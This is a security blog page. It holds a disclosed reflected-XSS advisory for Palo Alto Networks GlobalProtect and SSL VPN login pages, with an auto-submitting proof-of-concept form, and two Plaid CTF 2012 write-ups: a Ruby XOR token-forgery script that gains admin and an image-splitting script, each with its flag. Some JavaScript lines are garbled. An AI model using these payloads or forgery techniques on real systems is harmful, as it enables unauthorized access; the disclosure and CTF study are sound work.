Wednesday, June 27, 2012

XSS on Palo Alto Network's Global Protect and SSL VPN portal

Cross-Site Scripting(XSS) is now a common vulnerability, found on most of the Web Applications. No doubt it listed at second position on the OWASP Top 10 List.

Now Cross-Site Scripting are of three types:
1) Reflected or Non-Persistent (The most common one's)
2) Stored or Persistent (The dangerous one's)
3) DOM based (The rare one's)

Recently (back in Dec,2011) I found a Non-Persistent XSS on Palo Alto Network's(PAN) Global Protect Portal, Global Protect Gateway and SSL VPN portals. 

The vendor was informed on Dec 4, 2011. But as I didn't had the device serial number or the PAN OS version so the response from the PAN support team got a bit delayed.
I notified them that I came across the vulnerability on the device portals while doing test for one of our clients and it being a Black Box test, hence I had no information about the make or model of the devices. Anyway, after the initial hiccups it was all back on track and their prompt support team did took a note of the vulnerability and kept me all informed about the patch releases cycle.

And now, after getting a go ahead from their Security Support Manager, I am doing a full disclosure of this vulnerability.

Technical Description of this Issue:
The vulnerability exists on the login page of Palo Alto Network's(PAN) Global Protect Portal, Global Protect Gateway and SSL VPN portals.
If we view the html source of the login page, then we will find the login form is something like:

    <form name="login" id="login_form" method="post">
    <!-- hidden variables, we are going to set this to the session, bug fix 2157 -->
    <input type="hidden" name="prot" value="">
    <input type="hidden" name="server" value="">
    <input type='hidden' name="inputStr" value="">
    <input type='hidden' name="action" value="">

    <table style="width:100%; padding-top: 20px;">
            <td align="center" valign='middle'>
                <div id="taLogin">
                    <table width="300px" height="100px" border="0" cellpadding="0" cellspacing="0">
                        <tr id="dUserName">
                            <td width="77" height="30">Name</td>
                            <td><input type="text" id="user" name="user" size="19"></td>
                        <tr id="dPassword">
                            <td height="30"><span id="passwdTitle">Password</span></td>
                                <div id="dInputStr" style="display:none"><br></div>
                                <input type="password" maxlength="40" size="19" name="passwd" onKeyPress="checkCapsLock(event)">
                                <span id="divcl" style="visibility:hidden"><img src="/images/global_protect.gif" title="CAPS LOCK" /></span>
                            <td colspan="2">&nbsp;</td>
                            <td width="77">&nbsp;</td>
<td><input class="buttonFixed" type="submit" id="submit" name="ok" value="Login" style="margin-left:0px" onClick="submitClicked()"></td>
                            <td colspan="2"><div id="dError" style="display:none"> </div></td>

                <div id="dRedirect2Login" style="text-align: left; width:300px; padding: 10px; border: 2px inset #FFCC33; display:none">
                    <p>Click <a href="/global-protect/login.esp">here</a> to go back to login page</p>

I have highlighted the vulnerable parameter's  input field in yellow color. Here we notice that on clicking on the form submit button it calls a javascript function names submitClicked. Now lets take a look at the submitClicked function:

function submitClicked() {
    var thisForm = document.getElementById("login_form");
    // hide the error div, just incase it was showing.
    var divObj = document.getElementById("dError"); = "none";
    divObj.innerHTML = "";
    var divTaLogin = document.getElementById("taLogin"); = "none";

    var divRedirect2Login = document.getElementById("dRedirect2Login"); = "block";

    // fill the hidden fields for prot and server, bug fix 2157
    var prot = window.location.protocol;
    var server =;

    thisForm.prot.value = prot;
    thisForm.server.value = server;
    thisForm.inputStr.value = "";

    thisForm.action.value = "getsoftware";

Upon testing we notice that whatever value we pass on to the hidden form value inputStr, is passed on to the relevant field inside the submitClicked(). Now this leads to the XSS vulnerability on this page.

Proof Of Concept:

To replay the attack on this vulnerability I have prepared a sample POC HTML code.
   <body onLoad="document.getElementById('f1').submit();">
      <form action="https://{Enter Vulnerable Hostname Here}/global-protect/login.esp" method="post" id="f1">
         <input type="hidden" name="prot" id="prot" value="" />
<input type="hidden" name="server" id="server" value="" />
<input type="hidden" name="inputStr" id="inputStr" value="&#x22;;alert('XSS by Abhisek');//" />
<input type="hidden" name="jnlpReady" id="jnlpReady" value="jnlpReady" />
<input type="hidden" name="user" id="user" value="" />
<input type="hidden" name="passwd" id="passwd" value="" />
<input type="hidden" name="ok" id="ok" value="Login" />       

If we load this page and then click on the "Login" button , we would get a popup as shown in the image below giving a POC for this vulnerability.
  This is the login Screen after loading the POC HTML Page.

XSS in effect upon clicking on the "login" button.

Vendor URL:    
Products Affected:      Global Protect Portal, Global Protect Gateway and SSL VPN portals
Vulnerable Version:    For 3.1.x, 3.1.11 and below is vulnerable
                                      For 4.0.x, 4.0.5 and below is vulnerable
                                      For 4.1.x, it is not vulnerable
Patches Released On: March 26th, 2012

Now all of us do know the severity of XSS, so kindly contact the vendor to get updates and apply the latest patches to your Palo Alto Network (PAN) devices.

Monday, April 30, 2012

Plaid CTF 2012 Writeup - RoboDate

RoboDate [100] (Password Guessing)
So apparently robots, despite their lack of hormones, still have an underlying desire to mate. We stumbled upon a robot dating site, RoboDate. Hack it for us! (


puts "Enter user data(Eg. a|a|user):"
plaintext = gets.chomp
puts "Enter token(Eg. 3a88d06959dbe051b9f6a9c68dc846736dda16cdcc7cc1fc673f0d1f4d62d435):"
ciphertext = gets.chomp
puts "Computing key:"
k = []
p = plaintext.unpack("C*")
c = [ciphertext].pack("H*").unpack("C*")

plaintext.size.times do |i|
puts "Key:#{k.pack("C*").unpack("H*")[0]}"
puts "Enter desired user data(must be same length as plaintext above, Eg. a||admin):"
desired = gets.chomp
d = desired.unpack("C*")
f = []
desired.size.times do |i|
 f[i] = d[i] ^ k[i]

final = f.pack("C*").unpack("H*")[0]
l = final.size
puts "Final token to obtain desired user data: #{final}#{ciphertext[l..-1]}"

Key: 2012-04-25_14:46:24.29582+05:27@2012%


    debug info:

    user_data = a||admin
    key = 2012-04-25_14:46:24.29582+05:27@2012%

Plaid CTF 2012 Writeup - 3D

3D [100] (Potpourri)
The robots appear to be testing some kind of new camera technology but we haven't quite figured it out yet. Understanding this imaging could be crucial to our understanding the enemy and winning the war. (


allimages ="H*")[0]

header = allimages[0..7]
puts header.inspect
images = allimages.split(header)

images.size.times do |i|
 f ="image#{i}.jpg","w")
 image = header + images[i]

Key: 3d_g1v35_m3_a_h3adach3